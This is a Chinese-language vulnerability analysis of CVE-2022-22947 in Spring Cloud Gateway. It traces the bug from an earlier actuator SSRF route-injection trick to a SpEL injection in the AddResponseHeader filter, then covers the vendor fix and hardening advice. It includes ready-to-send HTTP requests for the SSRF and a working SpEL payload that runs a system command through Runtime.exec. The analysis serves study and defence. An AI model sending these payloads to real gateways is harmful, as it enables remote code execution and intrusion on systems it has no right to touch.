0x01 写在前面
本周二(3.1)的时候Spring官方发布了 Spring Cloud Gateway CVE 报告
其中编号为 CVE-2022-22947 Spring Cloud Gateway 代码注入漏洞的严重性为危急,周三周四的时候就有不少圈内的朋友发了分析和复现过程,由于在工作和写论文,就一直没去跟踪看看,周末抽了点时间对这个漏洞进行复现分析了一下。还是挺有意思的。
0x02 从SSRF说起
看到这个漏洞利用流程的时候,就有一种熟悉的既视感,回去翻了翻陈师傅的星球,果然:
去年12月的时候,陈师傅提了一个 actuator gateway 的 SSRF漏洞,这个漏洞来自 wya
作者在文章中提到,通过Spring Cloud Gateway 执行器(actuator)提供的管理功能就可以对路由进行添加、删除等操作。
因此作者利用 actuator 提供的路由添加功能,并根据官方示例,如下图:
添加了一个路由:
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:9000
Connection: close
Content-Type: application/json
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/new_route/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "/new_route(?<path>.*)",
"_genkey_1": "/${path}"
}
}
],
"uri": "https://wya.pl",
"order": 0
}
在执行 refresh
操作后,作者成功执行了一个SSRF请求(向https://wya.pl/index.php发起的请求):
陈师傅最后还在星球里给了个演示的实例:https://github.com/API-Security/APISandbox/blob/main/OASystem/README.md
先不具体讨论为什么payload会这样写,如果你熟悉 CVE-2022-22947 的payload,那么看到这里你一定会有同样的熟悉感。
是的,CVE-2022-22947 这个漏洞实际上就是这个 SSRF 的进阶版,并且触发SSRF的原理并不复杂
首先利用/actuator/gateway/routes/{new route}
的方式指定一个URL地址,并针对该地址添加一个路由
POST /actuator/gateway/routes/new_route HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Type: application/json
{
"predicates": [
{
"name": "Path",
"args": {
"_genkey_0": "/new_route/**"
}
}
],
"filters": [
{
"name": "RewritePath",
"args": {
"_genkey_0": "/new_route(?<path>.*)",
"_genkey_1": "/${path}"
}
}
],
"uri": "https://www.cnpanda.net",
"order": 0
}
然后刷新令这个路由生效:
POST /actuator/gateway/refresh HTTP/1.1
Host: 127.0.0.1:8080
Connection: close
Content-Type: application/json
{
"predicate": "Paths: [/new_route], match trailing slash: true",
"route_id": "new_route",
"filters": [
"[[RewritePath /new_route(?<path>.*) = /${path}], order = 1]"
],
"uri": "https://www.cnpanda.net",
"order": 0
}
最后直接访问/new_route/index.php
即可触发SSRF漏洞。
到这里有两个问题:第一,payload为什么会这样写?第二,整个请求流程是什么样的?
首先来看第一个问题,payload为什么会这样写
上文中我们提到了Spring Cloud Gateway官方给的实例如下:
{
"id": "first_route",
"predicates": [{
"name": "Path",
"args": {"_genkey_0":"/first"}
}],
"filters": [],
"uri": "https://www.uri-destination.org",
"order": 0
}
这实例对比一下SSRF的payload,我们可以发现,在SSRF的payload中多了对过滤器(filters)的具体定义。
而纵观整个payload,实际上可以发现,其就是一个动态路由的配置过程。
在Spring Cloud Gateway中,路由的配置分为静态配置和动态配置,对于静态配置而言,一旦要添加、修改或者删除内存中的路由配置和规则,就必须重启才可以。但在现实生产环境中,使用 Spring Cloud Gateway 都是作为所有流量的入口,为了保证系统的高可用性,需要尽量避免系统的重启,因而一般情况下,Spring Cloud Gateway使用的都是动态路由。
Spring Cloud Gateway 配置动态路由的方式有两种,第一种就是比较常见的,通过重写代码,实现一套动态路由方法,如这里就有一个动态路由的配置过程。第二种就是上文中SSRF这种方式,但是这种方式是基于jvm内存实现,一旦服务重启,新增的路由配置信息就是完全消失了。这也是P师傅在v2ex上回答的原理
所以其实payload就是比较固定的格式,首先定义一个谓词(predicates),用来匹配来自用户的请求,然后再增加一个内置或自定义的过滤器(filters),用于执行额外的功能逻辑。
payload中我们用的是重写路径过滤器(RewritePath),类似的还有设置路径过滤器(SetPath)、去掉URL前缀过滤器(StripPrefix)等,具体可以参考gateway内置的filter这张图:
第一个问题搞懂了就可以看看第二个问题了:整个请求流程是什么样的?
还是如上例所演示的,当在浏览器中向127.0.0.1:8080
地址发起根路径为/new_route
的请求时,会被 Spring Cloud Gateway 转发请求到https://www.cnpanda.net/
的根路径下
比如,我们向127.0.0.1:8080
地址发起为/new_route/index.php
的请求,那么实际上会被 Spring Cloud Gateway 转发请求到https://www.cnpanda.net/index.php
的路径下,官方在其官方文档(Spring Cloud GateWay工作流程)简单说明了流程:
看起来比较简单,实际上要复杂的多,我做了一个更详细一点图帮助大家理解:
我们首先向浏览器发送http://127.0.0.1:8080/new_route/index.php
的请求,浏览器接收该请求后交给Spring Cloud Gateway,由Spring Cloud Gateway 进行内部处理,首先是在 Gateway Handler Mapping 模块中找到与/new_route/index.php
请求相匹配的路由,然后将其发送到Gateway Web Handler模块,在这个模块中首先进入globalFilters中,由 globalFilters(NettyWriteResponseFilter、ForwardPathFilter、RouteToRequestUrlFilter、LoadBalancerClientFilter、AdaptCachedBodyGlobalFilter、WebsocketRoutingFilter、NettyRoutingFilter、ForwardRoutingFilter) 作为构造器参数创建 FilteringWebHandler。
如下图,可以在 NettyRoutingFilter 中看到我们请求的中间态:
然后,再由 FilteringWebHandler 运行特定的请求过滤器链,所有 Pre 过滤器(前过滤器)逻辑先执行,然后再向Proxied Service 执行代理请求,代理请求完成后,再由 Proxied Service 返回到 Gateway Web Handler模块去执行 post 过滤器(后过滤器)逻辑,最后由NettyWriteResponseFilter 返回响应内容到我们。响应过程可以参考网关 Spring-Cloud-Gateway 源码解析 —— 过滤器 (4.7) 之 NettyRoutingFilter:
最终一次完整SSRF响应请求就形成了。
实际上这种的 SSRF 属于Spring Cloud Gateway 本身的功能带来的”副产品“,类似于PHPMyadmin后台的SQL注入漏洞。
0x03 CVE-2022-22947 分析
如果你认真的看完了上一节的内容,那么你现在可能会对这个漏洞有了更多的认识。
漏洞的触发点在于我们熟知的SpEL表达式
实际上现在不具体分析源码,根据已有payload或者官方修复diff,你也应该能够得到一个结论:在动态添加路由的过程中,某个filter可以对传入进来的值进行SpEL表达式解析,从而造成了远程代码执行漏洞
那么到底是不是如此呢?
根据这种思路,通过source和sink,然后向上向下连线的方式来验证
先来看看source,即创建路由时的payload:
{
"id": "hacktest",
"filters": [{
"name": "AddResponseHeader",
"args": {
"name": "Result",
"value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}"
}
}],
"uri": "http://example.com"
}
可以看到这里使用的filter是AddResponseHeader,由于我们已经猜测是SPEL表达,因此我们直接搜索SpEL的触发点StandardEvaluationContext:
可以发现,在 ShortcutConfigurable 接口的getValue方法中,使用了StandardEvaluationContext,并且对传入的 SpEL 表达式进行了解析
那么接着查找 ShortcutConfigurable 接口的实现类有哪些:
可以看到有很多,但是我们要找的是与AddResponseHeader过滤器相关的类,AddResponseHeader过滤器的工厂类是org.springframework.cloud.gateway.filter.factory#AddResponseHeaderGatewayFilterFactory,因此根据模块名我们可以直接确定位置:
逐一查看会发现:
AddResponseHeaderGatewayFilterFactory 继承于 AbstractNameValueGatewayFilterFactory
AbstractNameValueGatewayFilterFactory 继承于 AbstractGatewayFilterFactory
AbstractGatewayFilterFactory 实现了 GatewayFilterFactory 接口
GatewayFilterFactory 接口继承于 ShortcutConfigurable
因此当从 AddResponseHeaderGatewayFilterFactory 传入的值进行计算(getValue())的时候,会逐一向上调用对应的方法,直到进入带有 SpEL 表达式解析器的位置进行最后的解析,也从而触发了SpEL表达式注入漏洞。
最后我们也可以直接进入 AddResponseHeaderGatewayFilterFactory 类回顾看看:
public class AddResponseHeaderGatewayFilterFactory extends AbstractNameValueGatewayFilterFactory {
@Override
public GatewayFilter apply(NameValueConfig config) {
return new GatewayFilter() {
@Override
public Mono<Void> filter(ServerWebExchange exchange, GatewayFilterChain chain) {
String value = ServerWebExchangeUtils.expand(exchange, config.getValue());
exchange.getResponse().getHeaders().add(config.getName(), value);
return chain.filter(exchange);
}
@Override
public String toString() {
return filterToStringCreator(AddResponseHeaderGatewayFilterFactory.this)
.append(config.getName(), config.getValue()).toString();
}
};
}
}
可以看到,首先在apply方法中传入了NameValueConfig类型的config,点进去可以看到NameValueConfig类型有两个值,并且不能为空:
可以看到,NameValueConfig 在AbstractNameValueGatewayFilterFactory中,AbstractNameValueGatewayFilterFactory是AddResponseHeaderGatewayFilterFactory的父类,在父类中进行了getValue()操作,并且可以看到 config 中通过 getValue() 返回的 value 值就是我们所执行的SpEL表达式返回的结果:
0x04 漏洞修复
由于是SpEL表达式注入漏洞,而引起这个漏洞的原因一般是使用了 StandardEvaluationContext 方法去解析表达式,解析表达式的方法有两个:
- SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别,公开SpEL语言特性和配置选项的子集。
- StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。
SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集,不包括 Java类型引用、构造函数和bean引用。而StandardEvaluationContext 支持全部SpEL语法。所以根据功能描述,将StandardEvaluationContext方法用 SimpleEvaluationContext 方法替换即可。
官方的修复方法是利用 BeanFactoryResolver 的方式去引用Bean,然后将其传入官方自己写的一个解析的方法GatewayEvaluationContext中:
此外,官方还给了建议:
如果不需要Gateway actuator的endpoint功能,就关了它吧,如果需要,那么就利用 Spring Security 对其进行保护,具体的保护方式可以参考:https://docs.spring.io/spring-boot/docs/current/reference/html/actuator.html#actuator.endpoints.security
0x05 写在最后
这个漏洞的原理还是比较清晰的,可惜没能通过陈师傅在星球发的那个SSRF漏洞更深的去分析,尝试挖掘新的漏洞,果然,成功是留给有心人的呀!
在这里提醒一下,在实际环境中,如果由于某种原因删除不起作用,有可能会导致刷新请求失败,那么就会有可能会导致站点出现问题,所以在实际测试的过程中,建议别乱搞,不然就要重启站点了。
最后,这个漏洞像不像是官方提供的一种内存马?(hhhhhhhh
文笔有限,如果文章有错误,欢迎师傅们指正
PS:再给陈师傅星球打一波广告
0x06 参考
https://juejin.cn/post/6844903639840980999
https://blog.csdn.net/qq_38233650/article/details/98038225
https://github.com/vulhub/vulhub/blob/master/spring/CVE-2022-22947/README.zh-cn.md
https://github.com/spring-cloud/spring-cloud-gateway/commit/337cef276bfd8c59fb421bfe7377a9e19c68fe1e